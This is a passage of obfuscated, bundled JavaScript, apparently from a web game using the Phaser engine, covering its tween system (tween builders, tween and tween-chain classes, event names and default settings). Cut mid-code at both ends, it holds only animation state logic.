? (_0xfa4971 = _0x2a82ae['value'], Array['isArray'](_0x2a82ae['value']) ? (_0xfa4971 = _0x2a82ae['value'][0x0], _0x25b477 = _0x2a82ae['value'][0x1]) : 'string' == typeof _0x2a82ae['value'] && (_0xfa4971 = _0x2a82ae['value'])) : 'string' == typeof _0x2a82ae && (_0xfa4971 = _0x2a82ae), _0x420f04['addFrame'](_0x40ddbc, _0xfa4971, _0x25b477, _0x491fca(_0x2a82ae, 'delay', _0x2c956a), _0x302910(_0x2a82ae, 'duration', _0x556afd), _0x302910(_0x2a82ae, 'hold', _0x5c129a), _0x302910(_0x2a82ae, 'repeat', _0x57125a), _0x302910(_0x2a82ae, 'repeatDelay', _0x47b01e), _0x58c4bf(_0x2a82ae, 'flipX', _0x180e5a), _0x58c4bf(_0x2a82ae, 'flipY', _0x473a10)); } else { var _0x549d1d = _0x3ec6de(_0x3d7cca, _0x2a82ae), _0x10f229 = _0x1273f9(_0x302910(_0x2a82ae, 'interpolation', _0x18b89e)); _0x420f04['add'](_0x40ddbc, _0x3d7cca, _0x549d1d['getEnd'], _0x549d1d['getStart'], _0x549d1d['getActive'], _0x452179(_0x302910(_0x2a82ae, 'ease', _0x3406a5), _0x302910(_0x2a82ae, 'easeParams', _0x48d5b6)), _0x491fca(_0x2a82ae, 'delay', _0x2c956a), _0x302910(_0x2a82ae, 'duration', _0x556afd), _0x58c4bf(_0x2a82ae, 'yoyo', _0x5ba59e), _0x302910(_0x2a82ae, 'hold', _0x5c129a), _0x302910(_0x2a82ae, 'repeat', _0x57125a), _0x302910(_0x2a82ae, 'repeatDelay', _0x47b01e), _0x58c4bf(_0x2a82ae, 'flipX', _0x180e5a), _0x58c4bf(_0x2a82ae, 'flipY', _0x473a10), _0x10f229, _0x10f229 ? _0x2a82ae : null); } }, _0x3ee7a8 = new _0x52617d(_0x2b04c3, _0x198266), _0x34356c = 0x0; _0x34356c < _0x139282['length']; _0x34356c++)for (var _0x295949 = _0x139282[_0x34356c]['key'], _0x3c9650 = _0x139282[_0x34356c]['value'], _0xe60fdb = 0x0; _0xe60fdb < _0x198266['length']; _0xe60fdb++)'scale' !== _0x295949 || _0x198266[_0xe60fdb]['hasOwnProperty']('scale') ? _0x18bb31(_0x3ee7a8, _0xe60fdb, _0x295949, _0x3c9650) : (_0x18bb31(_0x3ee7a8, _0xe60fdb, 'scaleX', _0x3c9650), _0x18bb31(_0x3ee7a8, _0xe60fdb, 'scaleY', _0x3c9650)); _0x3ee7a8['completeDelay'] = _0x24ba58(_0x49f27f, 'completeDelay', 0x0), _0x3ee7a8['loop'] = Math['round'](_0x24ba58(_0x49f27f, 'loop', 0x0)), _0x3ee7a8['loopDelay'] = Math['round'](_0x24ba58(_0x49f27f, 'loopDelay', 0x0)), _0x3ee7a8['paused'] = _0x58c4bf(_0x49f27f, 'paused', !0x1), _0x3ee7a8['persist'] = _0x58c4bf(_0x49f27f, 'persist', !0x1), _0x3ee7a8['callbackScope'] = _0x302910(_0x49f27f, 'callbackScope', _0x3ee7a8); for (var _0x42c2ae = _0x174eda['TYPES'], _0x38c1bc = 0x0; _0x38c1bc < _0x42c2ae['length']; _0x38c1bc++) { var _0x13fb43 = _0x42c2ae[_0x38c1bc], _0xd4751c = _0x302910(_0x49f27f, _0x13fb43, !0x1); if (_0xd4751c) { var _0x361c68 = _0x302910(_0x49f27f, _0x13fb43 + 'Params', []); _0x3ee7a8['setCallback'](_0x13fb43, _0xd4751c, _0x361c68); } } return _0x3ee7a8; }; }, 0x659c: (_0x888dc, _0x2b70e9, _0x2772ed) => { var _0x545c3d = _0x2772ed(0x11302), _0x47e79c = _0x2772ed(0x5c10), _0x1fb615 = _0x2772ed(0xe00b), _0x505551 = _0x2772ed(0xf379), _0x2b7232 = _0x2772ed(0x8952), _0x552b9e = _0x2772ed(0x20a5), _0x458bc7 = _0x2772ed(0xabb8); _0x888dc['exports'] = function (_0x44e349, _0x4ff7a4) { if (_0x4ff7a4 instanceof _0x458bc7) return _0x4ff7a4['parent'] = _0x44e349, _0x4ff7a4; var _0x4fc728, _0xd71f53 = new _0x458bc7(_0x44e349); _0xd71f53['startDelay'] = _0x2b7232(_0x4ff7a4, 'delay', 0x0), _0xd71f53['completeDelay'] = _0x47e79c(_0x4ff7a4, 'completeDelay', 0x0), _0xd71f53['loop'] = Math['round'](_0x47e79c(_0x4ff7a4, 'loop', _0x2b7232(_0x4ff7a4, 'repeat', 0x0))), _0xd71f53['loopDelay'] = Math['round'](_0x47e79c(_0x4ff7a4, 'loopDelay', _0x2b7232(_0x4ff7a4, 'repeatDelay', 0x0))), _0xd71f53['paused'] = _0x1fb615(_0x4ff7a4, 'paused', !0x1), _0xd71f53['persist'] = _0x1fb615(_0x4ff7a4, 'persist', !0x1), _0xd71f53['callbackScope'] = _0x2b7232(_0x4ff7a4, 'callbackScope', _0xd71f53); var _0x36d0f1 = _0x545c3d['TYPES']; for (_0x4fc728 = 0x0; _0x4fc728 < _0x36d0f1['length']; _0x4fc728++) { var _0x1e5e76 = _0x36d0f1[_0x4fc728], _0x364f12 = _0x2b7232(_0x4ff7a4, _0x1e5e76, !0x1); if (_0x364f12) { var _0x3bb913 = _0x2b7232(_0x4ff7a4, _0x1e5e76 + 'Params', []); _0xd71f53['setCallback'](_0x1e5e76, _0x364f12, _0x3bb913); } } var _0x5a1496 = _0x2b7232(_0x4ff7a4, 'tweens', null); if (Array['isArray'](_0x5a1496)) { var _0x3bc964 = [], _0x13d9fe = _0x505551(_0x4ff7a4), _0x3d3608 = void 0x0; for (_0x13d9fe && (_0x3d3608 = { 'targets': _0x13d9fe }), _0x4fc728 = 0x0; _0x4fc728 < _0x5a1496['length']; _0x4fc728++)_0x3bc964['push'](_0x552b9e(_0xd71f53, _0x5a1496[_0x4fc728], _0x3d3608)); _0xd71f53['add'](_0x3bc964); } return _0xd71f53; }; }, 0x7617: (_0x43a4f2, _0x2ce83d, _0x28c12a) => { _0x43a4f2['exports'] = { 'GetBoolean': _0x28c12a(0xe00b), 'GetEaseFunction': _0x28c12a(0x17e1), 'GetInterpolationFunction': _0x28c12a(0x164fd), 'GetNewValue': _0x28c12a(0xd7fc), 'GetProps': _0x28c12a(0x14429), 'GetTargets': _0x28c12a(0xf379), 'GetValueOp': _0x28c12a(0x4571), 'NumberTweenBuilder': _0x28c12a(0x157e0), 'StaggerBuilder': _0x28c12a(0x16bb5), 'TweenBuilder': _0x28c12a(0x20a5) }; }, 0x11fd5: _0x3a5513 => { _0x3a5513['exports'] = 'active'; }, 0x180ec: _0x2d58e9 => { _0x2d58e9['exports'] = 'complete'; }, 0x106a1: _0x43606e => { _0x43606e['exports'] = 'loop'; }, 0xb2b: _0xe4a11d => { _0xe4a11d['exports'] = 'pause'; }, 0x18020: _0x1fbfcf => { _0x1fbfcf['exports'] = 'repeat'; }, 0x64a4: _0x704355 => { _0x704355['exports'] = 'resume'; }, 0x7dc1: _0x1aa561 => { _0x1aa561['exports'] = 'start'; }, 0x14993: _0x236891 => { _0x236891['exports'] = 'stop'; }, 0x1146e: _0x5565f1 => { _0x5565f1['exports'] = 'update'; }, 0xd96b: _0x376f74 => { _0x376f74['exports'] = 'yoyo'; }, 0x34a: (_0xe0113b, _0x4e8fb6, _0xdc1dcb) => { _0xe0113b['exports'] = { 'TWEEN_ACTIVE': _0xdc1dcb(0x11fd5), 'TWEEN_COMPLETE': _0xdc1dcb(0x180ec), 'TWEEN_LOOP': _0xdc1dcb(0x106a1), 'TWEEN_PAUSE': _0xdc1dcb(0xb2b), 'TWEEN_RESUME': _0xdc1dcb(0x64a4), 'TWEEN_REPEAT': _0xdc1dcb(0x18020), 'TWEEN_START': _0xdc1dcb(0x7dc1), 'TWEEN_STOP': _0xdc1dcb(0x14993), 'TWEEN_UPDATE': _0xdc1dcb(0x1146e), 'TWEEN_YOYO': _0xdc1dcb(0xd96b) }; }, 0xa83a: (_0x171de5, _0x1416aa, _0x433285) => { var _0x12a627 = { 'States': _0x433285(0x15151), 'Builders': _0x433285(0x7617), 'Events': _0x433285(0x34a), 'TweenManager': _0x433285(0x9dbe), 'Tween': _0x433285(0x15041), 'TweenData': _0x433285(0xbc31), 'TweenFrameData': _0x433285(0xa4ec), 'BaseTween': _0x433285(0x11302), 'TweenChain': _0x433285(0xabb8) }; _0x171de5['exports'] = _0x12a627; }, 0x11302: (_0x245a33, _0x12a4aa, _0x114a8e) => { var _0x4e1262 = _0x114a8e(0x145db), _0x5190fa = _0x114a8e(0xc668), _0x438a38 = _0x114a8e(0x34a), _0x5f0824 = _0x114a8e(0x15151), _0x37fc40 = new _0x4e1262({ 'Extends': _0x5190fa, 'initialize': function (_0x3be59a) { _0x5190fa['call'](this), this['parent'] = _0x3be59a, this['data'] = [], this['totalData'] = 0x0, this['startDelay'] = 0x0, this['hasStarted'] = !0x1, this['timeScale'] = 0x1, this['loop'] = 0x0, this['loopDelay'] = 0x0, this['loopCounter'] = 0x0, this['completeDelay'] = 0x0, this['countdown'] = 0x0, this['state'] = _0x5f0824['PENDING'], this['paused'] = !0x1, this['callbacks'] = { 'onActive': null, 'onComplete': null, 'onLoop': null, 'onPause': null, 'onRepeat': null, 'onResume': null, 'onStart': null, 'onStop': null, 'onUpdate': null, 'onYoyo': null }, this['callbackScope'], this['persist'] = !0x1; }, 'setTimeScale': function (_0x61fbda) { return this['timeScale'] = _0x61fbda, this; }, 'getTimeScale': function () { return this['timeScale']; }, 'isPlaying': function () { return !this['paused'] && this['isActive'](); }, 'isPaused': function () { return this['paused']; }, 'pause': function () { return this['paused'] || (this['paused'] = !0x0, this['dispatchEvent'](_0x438a38['TWEEN_PAUSE'], 'onPause')), this; }, 'resume': function () { return this['paused'] && (this['paused'] = !0x1, this['dispatchEvent'](_0x438a38['TWEEN_RESUME'], 'onResume')), this; }, 'makeActive': function () { this['parent']['makeActive'](this), this['dispatchEvent'](_0x438a38['TWEEN_ACTIVE'], 'onActive'); }, 'onCompleteHandler': function () { this['setPendingRemoveState'](), this['dispatchEvent'](_0x438a38['TWEEN_COMPLETE'], 'onComplete'); }, 'complete': function (_0x238338) { return void 0x0 === _0x238338 && (_0x238338 = 0x0), _0x238338 ? (this['setCompleteDelayState'](), this['countdown'] = _0x238338) : this['onCompleteHandler'](), this; }, 'completeAfterLoop': function (_0x345fee) { return void 0x0 === _0x345fee && (_0x345fee = 0x0), this['loopCounter'] > _0x345fee && (this['loopCounter'] = _0x345fee), this; }, 'remove': function () { return this['parent'] && this['parent']['remove'](this), this; }, 'stop': function () { return !this['parent'] || this['isRemoved']() || this['isPendingRemove']() || this['isDestroyed']() || (this['dispatchEvent'](_0x438a38['TWEEN_STOP'], 'onStop'), this['setPendingRemoveState']()), this; }, 'updateLoopCountdown': function (_0x3f575f) { this['countdown'] -= _0x3f575f, this['countdown'] <= 0x0 && (this['setActiveState'](), this['dispatchEvent'](_0x438a38['TWEEN_LOOP'], 'onLoop')); }, 'updateStartCountdown': function (_0x53d60f) { return this['countdown'] -= _0x53d60f, this['countdown'] <= 0x0 && (this['hasStarted'] = !0x0, this['setActiveState'](), this['dispatchEvent'](_0x438a38['TWEEN_START'], 'onStart'), _0x53d60f = 0x0), _0x53d60f; }, 'updateCompleteDelay': function (_0x32524d) { this['countdown'] -= _0x32524d, this['countdown'] <= 0x0 && this['onCompleteHandler'](); }, 'setCallback': function (_0x5055b7, _0x467652, _0x26eee2) { return void 0x0 === _0x26eee2 && (_0x26eee2 = []), this['callbacks']['hasOwnProperty'](_0x5055b7) && (this['callbacks'][_0x5055b7] = { 'func': _0x467652, 'params': _0x26eee2 }), this; }, 'setPendingState': function () { this['state'] = _0x5f0824['PENDING']; }, 'setActiveState': function () { this['state'] = _0x5f0824['ACTIVE'], this['hasStarted'] = !0x1; }, 'setLoopDelayState': function () { this['state'] = _0x5f0824['LOOP_DELAY']; }, 'setCompleteDelayState': function () { this['state'] = _0x5f0824['COMPLETE_DELAY']; }, 'setStartDelayState': function () { this['state'] = _0x5f0824['START_DELAY'], this['countdown'] = this['startDelay'], this['hasStarted'] = !0x1; }, 'setPendingRemoveState': function () { this['state'] = _0x5f0824['PENDING_REMOVE']; }, 'setRemovedState': function () { this['state'] = _0x5f0824['REMOVED']; }, 'setFinishedState': function () { this['state'] = _0x5f0824['FINISHED']; }, 'setDestroyedState': function () { this['state'] = _0x5f0824['DESTROYED']; }, 'isPending': function () { return this['state'] === _0x5f0824['PENDING']; }, 'isActive': function () { return this['state'] === _0x5f0824['ACTIVE']; }, 'isLoopDelayed': function () { return this['state'] === _0x5f0824['LOOP_DELAY']; }, 'isCompleteDelayed': function () { return this['state'] === _0x5f0824['COMPLETE_DELAY']; }, 'isStartDelayed': function () { return this['state'] === _0x5f0824['START_DELAY']; }, 'isPendingRemove': function () { return this['state'] === _0x5f0824['PENDING_REMOVE']; }, 'isRemoved': function () { return this['state'] === _0x5f0824['REMOVED']; }, 'isFinished': function () { return this['state'] === _0x5f0824['FINISHED']; }, 'isDestroyed': function () { return this['state'] === _0x5f0824['DESTROYED']; }, 'destroy': function () { this['data'] && this['data']['forEach'](function (_0x4f0adb) { _0x4f0adb['destroy'](); }), this['removeAllListeners'](), this['callbacks'] = null, this['data'] = null, this['parent'] = null, this['setDestroyedState'](); } }); _0x37fc40['TYPES'] = ['onActive', 'onComplete', 'onLoop', 'onPause', 'onRepeat', 'onResume', 'onStart', 'onStop', 'onUpdate', 'onYoyo'], _0x245a33['exports'] = _0x37fc40; }, 0x17342: (_0x5b56ca, _0x20cc8a, _0x3961fb) => { var _0x39d776 = _0x3961fb(0x145db), _0x5db597 = _0x3961fb(0x34a), _0x24b33d = _0x3961fb(0x15151), _0x230e47 = new _0x39d776({ 'initialize': function (_0x3c83f5, _0x16eabe, _0x555a75, _0x2f5e46, _0x25bf1b, _0x680187, _0x3c3220, _0x20ccbf, _0x59d831, _0xefb785) { this['tween'] = _0x3c83f5, this['targetIndex'] = _0x16eabe, this['duration'] = _0x2f5e46, this['totalDuration'] = 0x0, this['delay'] = 0x0, this['getDelay'] = _0x555a75, this['yoyo'] = _0x25bf1b, this['hold'] = _0x680187, this['repeat'] = _0x3c3220, this['repeatDelay'] = _0x20ccbf, this['repeatCounter'] = 0x0, this['flipX'] = _0x59d831, this['flipY'] = _0xefb785, this['progress'] = 0x0, this['elapsed'] = 0x0, this['state'] = 0x0, this['isCountdown'] = !0x1; }, 'getTarget': function () { return this['tween']['targets'][this['targetIndex']]; }, 'setTargetValue': function (_0x313bd5) { void 0x0 === _0x313bd5 && (_0x313bd5 = this['current']), this['tween']['targets'][this['targetIndex']][this['key']] = _0x313bd5; }, 'setCreatedState': function () { this['state'] = _0x24b33d['CREATED'], this['isCountdown'] = !0x1; }, 'setDelayState': function () { this['state'] = _0x24b33d['DELAY'], this['isCountdown'] = !0x0; }, 'setPendingRenderState': function () { this['state'] = _0x24b33d['PENDING_RENDER'], this['isCountdown'] = !0x1; }, 'setPlayingForwardState': function () { this['state'] = _0x24b33d['PLAYING_FORWARD'], this['isCountdown'] = !0x1; }, 'setPlayingBackwardState': function () { this['state'] = _0x24b33d['PLAYING_BACKWARD'], this['isCountdown'] = !0x1; }, 'setHoldState': function () { this['state'] = _0x24b33d['HOLD_DELAY'], this['isCountdown'] = !0x0; }, 'setRepeatState': function () { this['state'] = _0x24b33d['REPEAT_DELAY'], this['isCountdown'] = !0x0; }, 'setCompleteState': function () { this['state'] = _0x24b33d['COMPLETE'], this['isCountdown'] = !0x1; }, 'isCreated': function () { return this['state'] === _0x24b33d['CREATED']; }, 'isDelayed': function () { return this['state'] === _0x24b33d['DELAY']; }, 'isPendingRender': function () { return this['state'] === _0x24b33d['PENDING_RENDER']; }, 'isPlayingForward': function () { return this['state'] === _0x24b33d['PLAYING_FORWARD']; }, 'isPlayingBackward': function () { return this['state'] === _0x24b33d['PLAYING_BACKWARD']; }, 'isHolding': function () { return this['state'] === _0x24b33d['HOLD_DELAY']; }, 'isRepeating': function () { return this['state'] === _0x24b33d['REPEAT_DELAY']; }, 'isComplete': function () { return this['state'] === _0x24b33d['COMPLETE']; }, 'setStateFromEnd': function (_0x437abb) { this['yoyo'] ? this['onRepeat'](_0x437abb, !0x0, !0x0) : this['repeatCounter'] > 0x0 ? this['onRepeat'](_0x437abb, !0x0, !0x1) : this['setCompleteState'](); }, 'setStateFromStart': function (_0x25417f) { this['repeatCounter'] > 0x0 ? this['onRepeat'](_0x25417f, !0x1) : this['setCompleteState'](); }, 'reset': function () { var _0x20955e = this['tween'], _0x49a6a6 = _0x20955e['totalTargets'], _0x544342 = this['targetIndex'], _0x220548 = _0x20955e['targets'][_0x544342], _0x139f4a = this['key']; this['progress'] = 0x0, this['elapsed'] = 0x0, this['delay'] = this['getDelay'](_0x220548, _0x139f4a, 0x0, _0x544342, _0x49a6a6, _0x20955e), this['repeatCounter'] = -0x1 === this['repeat'] ? _0x24b33d['MAX'] : this['repeat'], this['setPendingRenderState'](); var _0x1cc3ce = this['duration'] + this['hold']; this['yoyo'] && (_0x1cc3ce += this['duration']); var _0x1e362c = _0x1cc3ce + this['repeatDelay']; this['totalDuration'] = this['delay'] + _0x1cc3ce, -0x1 === this['repeat'] ? (this['totalDuration'] += _0x1e362c * _0x24b33d['MAX'], _0x20955e['isInfinite'] = !0x0) : this['repeat'] > 0x0 && (this['totalDuration'] += _0x1e362c * this['repeat']), this['totalDuration'] > _0x20955e['duration'] && (_0x20955e['duration'] = this['totalDuration']), this['delay'] < _0x20955e['startDelay'] && (_0x20955e['startDelay'] = this['delay']), this['delay'] > 0x0 && (this['elapsed'] = this['delay'], this['setDelayState']()); }, 'onRepeat': function (_0x3433d7, _0x30fbd4, _0x29001e) { var _0x432849 = this['tween'], _0x4ed954 = _0x432849['totalTargets'], _0x5a487d = this['targetIndex'], _0x240d54 = _0x432849['targets'][_0x5a487d], _0x192729 = this['key'], _0x19461f = 'texture' !== _0x192729; if (this['elapsed'] = _0x3433d7, this['progress'] = _0x3433d7 / this['duration'], this['flipX'] && _0x240d54['toggleFlipX'](), this['flipY'] && _0x240d54['toggleFlipY'](), _0x19461f && (_0x30fbd4 || _0x29001e) && (this['start'] = this['getStartValue'](_0x240d54, _0x192729, this['start'], _0x5a487d, _0x4ed954, _0x432849)), _0x29001e) return this['setPlayingBackwardState'](), void this['dispatchEvent'](_0x5db597['TWEEN_YOYO'], 'onYoyo'); this['repeatCounter']--, _0x19461f && (this['end'] = this['getEndValue'](_0x240d54, _0x192729, this['start'], _0x5a487d, _0x4ed954, _0x432849)), this['repeatDelay'] > 0x0 ? (this['elapsed'] = this['repeatDelay'] - _0x3433d7, _0x19461f && (this['current'] = this['start'], _0x240d54[_0x192729] = this['current']), this['setRepeatState']()) : (this['setPlayingForwardState'](), this['dispatchEvent'](_0x5db597['TWEEN_REPEAT'], 'onRepeat')); }, 'destroy': function () { this['tween'] = null, this['getDelay'] = null, this['setCompleteState'](); } }); _0x5b56ca['exports'] = _0x230e47; }, 0x1110e: _0x2f8fd3 => { _0x2f8fd3['exports'] = { 'targets': null, 'delay': 0x0, 'duration': 0x3e8, 'ease': 'Power0', 'easeParams': null, 'hold': 0x0, 'repeat': 0x0, 'repeatDelay': 0x0, 'yoyo': !0x1, 'flipX': !0x1, 'flipY': !0x1, 'persist': !0x1, 'interpolation': null }; }, 0x13cb4: _0x3ca3b6 => { _0x3ca3b6['exports'] = ['callbackScope', 'completeDelay', 'delay', 'duration', 'ease', 'easeParams', 'flipX', 'flipY', 'hold', 'interpolation', 'loop', 'loopDelay', 'onActive', 'onActiveParams', 'onComplete', 'onCompleteParams', 'onLoop', 'onLoopParams', 'onPause', 'onPauseParams', 'onRepeat', 'onRepeatParams', 'onResume', 'onResumeParams', 'onStart', 'onStartParams', 'onStop', 'onStopParams', 'onUpdate', 'onUpdateParams', 'onYoyo', 'onYoyoParams', 'paused', 'persist', 'props', 'repeat', 'repeatDelay', 'targets', 'yoyo']; }, 0x15041: (_0x3ac6bc, _0x207eca, _0x415171) => { var _0x46a1e8 = _0x415171(0x11302), _0x1735d5 = _0x415171(0x145db), _0x492db2 = _0x415171(0x34a), _0x38a9b2 = _0x415171(0xae3b), _0x5ef0bc = _0x415171(0x9a05), _0x1893fd = _0x415171(0x8e1f), _0x1c992b = _0x415171(0x15151), _0x539c8a = _0x415171(0xbc31), _0x5df1ae = _0x415171(0xa4ec), _0x76b79a = new _0x1735d5({ 'Extends': _0x46a1e8, 'initialize': function (_0x3882d8, _0x41975b) { _0x46a1e8['call'](this, _0x3882d8), this['targets'] = _0x41975b, this['totalTargets'] = _0x41975b['length'], this['isSeeking'] = !0x1, this['isInfinite'] = !0x1, this['elapsed'] = 0x0, this['totalElapsed'] = 0x0, this['duration'] = 0x0, this['progress'] = 0x0, this['totalDuration'] = 0x0, this['totalProgress'] = 0x0; }, 'add': function (_0x1a5c43, _0x57507f, _0x59b84a, _0x34b3f4, _0x3cb1d0, _0x31da97, _0x5905a9, _0x5b7340, _0x3b0359, _0x52f291, _0x2da27d, _0x2ac2aa, _0x2707b9, _0x199eab, _0x334d12, _0x4ee38f) { var _0x5695b0 = new _0x539c8a(this, _0x1a5c43, _0x57507f, _0x59b84a, _0x34b3f4, _0x3cb1d0, _0x31da97, _0x5905a9, _0x5b7340, _0x3b0359, _0x52f291, _0x2da27d, _0x2ac2aa, _0x2707b9, _0x199eab, _0x334d12, _0x4ee38f); return this['totalData'] = this['data']['push'](_0x5695b0), _0x5695b0; }, 'addFrame': function (_0x438d89, _0x337c94, _0x424ac7, _0x2a93f1, _0x2feba0, _0x59406a, _0x4bca7d, _0x4cda6d, _0x4d60ab, _0x29c844) { var _0x4e95ce = new _0x5df1ae(this, _0x438d89, _0x337c94, _0x424ac7, _0x2a93f1, _0x2feba0, _0x59406a, _0x4bca7d, _0x4cda6d, _0x4d60ab, _0x29c844); return this['totalData'] = this['data']['push'](_0x4e95ce), _0x4e95ce; }, 'getValue': function (_0x56ca04) { void 0x0 === _0x56ca04 && (_0x56ca04 = 0x0); var _0x51c91c = null; return this['data'] && (_0x51c91c = this['data'][_0x56ca04]['current']), _0x51c91c; }, 'hasTarget': function (_0x40bc65) { return this['targets'] && -0x1 !== this['targets']['indexOf'](_0x40bc65); }, 'updateTo': function (_0x23d217, _0x26002b, _0x49d024) { if (void 0x0 === _0x49d024 && (_0x49d024 = !0x1), 'texture' !== _0x23d217) for (var _0x15d6f1 = 0x0; _0x15d6f1 < this['totalData']; _0x15d6f1++) { var _0x1db03d = this['data'][_0x15d6f1]; _0x1db03d['key'] === _0x23d217 && (_0x1db03d['isPlayingForward']() || _0x1db03d['isPlayingBackward']()) && (_0x1db03d['end'] = _0x26002b, _0x49d024 && (_0x1db03d['start'] = _0x1db03d['current'])); } return this; }, 'restart': function () { switch (this['state']) { case _0x1c992b['REMOVED']: case _0x1c992b['FINISHED']: this['seek'](), this['parent']['makeActive'](this); break; case _0x1c992b['PENDING']: case _0x1c992b['PENDING_REMOVE']: this['parent']['reset'](this); break; case _0x1c992b['DESTROYED']: break; default: this['seek'](); }return this['paused'] = !0x1, this['hasStarted'] = !0x1, this; }, 'nextState': function () { if (this['loopCounter'] > 0x0) this['elapsed'] = 0x0, this['progress'] = 0x0, this['loopCounter']--, this['initTweenData'](!0x0), this['loopDelay'] > 0x0 ? (this['countdown'] = this['loopDelay'], this['setLoopDelayState']()) : (this['setActiveState'](), this['dispatchEvent'](_0x492db2['TWEEN_LOOP'], 'onLoop')); else { if (!(this['completeDelay'] > 0x0)) return this['onCompleteHandler'](), !0x0; this['countdown'] = this['completeDelay'], this['setCompleteDelayState'](); } return !0x1; }, 'onCompleteHandler': function () { this['progress'] = 0x1, this['totalProgress'] = 0x1, _0x46a1e8['prototype']['onCompleteHandler']['call'](this); }, 'play': function () { return this['isDestroyed']() || ((this['isPendingRemove']() || this['isFinished']()) && this['seek'](), this['paused'] = !0x1, this['setActiveState']()), this; }, 'seek': function (_0xcae106, _0x57fa1c, _0x5481c5) { if (void 0x0 === _0xcae106 && (_0xcae106 = 0x0), void 0x0 === _0x57fa1c && (_0x57fa1c = 16.6), void 0x0 === _0x5481c5 && (_0x5481c5 = !0x1), this['isDestroyed']()) return this; _0x5481c5 || (this['isSeeking'] = !0x0), this['reset'](!0x0), this['initTweenData'](!0x0), this['setActiveState'](), this['dispatchEvent'](_0x492db2['TWEEN_ACTIVE'], 'onActive'); var _0x907542 = this['paused']; if (this['paused'] = !0x1, _0xcae106 > 0x0) { for (var _0x17c421 = Math['floor'](_0xcae106 / _0x57fa1c), _0x136bfc = _0xcae106 - _0x17c421 * _0x57fa1c, _0x44c784 = 0x0; _0x44c784 < _0x17c421; _0x44c784++)this['update'](_0x57fa1c); _0x136bfc > 0x0 && this['update'](_0x136bfc); } return this['paused'] = _0x907542, this['isSeeking'] = !0x1, this; }, 'initTweenData': function (_0x506993) { void 0x0 === _0x506993 && (_0x506993 = !0x1), this['duration'] = 0x0, this['startDelay'] = _0x1893fd['MAX_SAFE_INTEGER']; for (var _0x27abc3 = this['data'], _0x59c7e4 = 0x0; _0x59c7e4 < this['totalData']; _0x59c7e4++)_0x27abc3[_0x59c7e4]['reset'](_0x506993); this['duration'] = Math['max'](this['duration'], 0.01); var _0x417201 = this['duration'], _0xdecd5d = this['completeDelay'], _0x36f779 = this['loopCounter'], _0x18cff0 = this['loopDelay']; this['totalDuration'] = _0x36f779 > 0x0 ? _0x417201 + _0xdecd5d + (_0x417201 + _0x18cff0) * _0x36f779 : _0x417201 + _0xdecd5d; }, 'reset': function (_0x17b512) { return void 0x0 === _0x17b512 && (_0x17b512 = !0x1), this['elapsed'] = 0x0, this['totalElapsed'] = 0x0, this['progress'] = 0x0, this['totalProgress'] = 0x0, this['loopCounter'] = this['loop'], -0x1 === this['loop'] && (this['isInfinite'] = !0x0, this['loopCounter'] = _0x1c992b['MAX']), _0x17b512 || (this['initTweenData'](), this['setActiveState'](), this['dispatchEvent'](_0x492db2['TWEEN_ACTIVE'], 'onActive')), this; }, 'update': function (_0x6610ca) { if (this['isPendingRemove']() || this['isDestroyed']()) return !0x0; if (this['paused'] || this['isFinished']()) return !0x1; if (_0x6610ca *= this['timeScale'] * this['parent']['timeScale'], this['isLoopDelayed']()) return this['updateLoopCountdown'](_0x6610ca), !0x1; if (this['isCompleteDelayed']()) return this['updateCompleteDelay'](_0x6610ca), !0x1; this['hasStarted'] || (this['startDelay'] -= _0x6610ca, this['startDelay'] <= 0x0 && (this['hasStarted'] = !0x0, this['dispatchEvent'](_0x492db2['TWEEN_START'], 'onStart'), _0x6610ca = 0x0)); var _0x4ade5f = !0x1; if (this['isActive']()) { for (var _0x266eb2 = this['data'], _0x3889f8 = 0x0; _0x3889f8 < this['totalData']; _0x3889f8++)_0x266eb2[_0x3889f8]['update'](_0x6610ca) && (_0x4ade5f = !0x0); } this['elapsed'] += _0x6610ca, this['progress'] = Math['min'](this['elapsed'] / this['duration'], 0x1), this['totalElapsed'] += _0x6610ca, this['totalProgress'] = Math['min'](this['totalElapsed'] / this['totalDuration'], 0x1), _0x4ade5f || this['nextState'](); var _0x58455a = this['isPendingRemove'](); return _0x58455a && this['persist'] && (this['setFinishedState'](), _0x58455a = !0x1), _0x58455a; }, 'forward': function (_0x4451ac) { return this['update'](_0x4451ac), this; }, 'rewind': function (_0xa2c342) { return this['update'](-_0xa2c342), this; }, 'dispatchEvent': function (_0x4ea76b, _0x4bc03b) { if (!this['isSeeking']) { this['emit'](_0x4ea76b, this, this['targets']); var _0x291cff = this['callbacks'][_0x4bc03b]; _0x291cff && _0x291cff['func']['apply'](this['callbackScope'], [this, this['targets']]['concat'](_0x291cff['params'])); } }, 'destroy': function () { _0x46a1e8['prototype']['destroy']['call'](this), this['targets'] = null; } }); _0x5ef0bc['register']('tween', function (_0x2a032e) { return this['scene']['sys']['tweens']['add'](_0x2a032e); }), _0x38a9b2['register']('tween', function (_0x569237) { return this['scene']['sys']['tweens']['create'](_0x569237); }), _0x3ac6bc['exports'] = _0x76b79a; }, 0xabb8: (_0x4dc88e, _0x45de24, _0xe6dba5) => { var _0x4206cd = _0xe6dba5(0x11cc9), _0x2bdbda = _0xe6dba5(0x11302), _0x1abb7c = _0xe6dba5(0x145db), _0x4b03c3 = _0xe6dba5(0x34a), _0x211f3e = _0xe6dba5(0xae3b), _0x4a2dab = _0xe6dba5(0x9a05), _0x197e8e = _0xe6dba5(0x15151), _0x23f651 = new _0x1abb7c({ 'Extends': _0x2bdbda, 'initialize': function (_0x3d349b) { _0x2bdbda['call'](this, _0x3d349b), this['currentTween'] = null, this['currentIndex'] = 0x0; }, 'init': function () { return this['loopCounter'] = -0x1 === this['loop'] ? _0x197e8e['MAX'] : this['loop'], this['setCurrentTween'](0x0), this['startDelay'] > 0x0 && !this['isStartDelayed']() ? this['setStartDelayState']() : this['setActiveState'](), this; }, 'add': function (_0x328e2f) { var _0x4f9934 = this['parent']['create'](_0x328e2f); Array['isArray'](_0x4f9934) || (_0x4f9934 = [_0x4f9934]); for (var _0x5802e6 = this['data'], _0xf137db = 0x0; _0xf137db < _0x4f9934['length']; _0xf137db++) { var _0x45f515 = _0x4f9934[_0xf137db]; _0x45f515['parent'] = this, _0x5802e6['push'](_0x45f515['reset']()); } return this['totalData'] = _0x5802e6['length'], this; }, 'remove': function (_0x549515) { return _0x4206cd(this['data'], _0x549515), _0x549515['setRemovedState'](), _0x549515 === this['currentTween'] && this['nextTween'](), this['totalData'] = this['data']['length'], this; }, 'hasTarget': function (_0x1c0ce3) { for (var _0x3e76f7 = this['data'], _0x48f346 = 0x0; _0x48f346 < this['totalData']; _0x48f346++)if (_0x3e76f7[_0x48f346]['hasTarget'](_0x1c0ce3)) return !0x0; return !0x1; }, 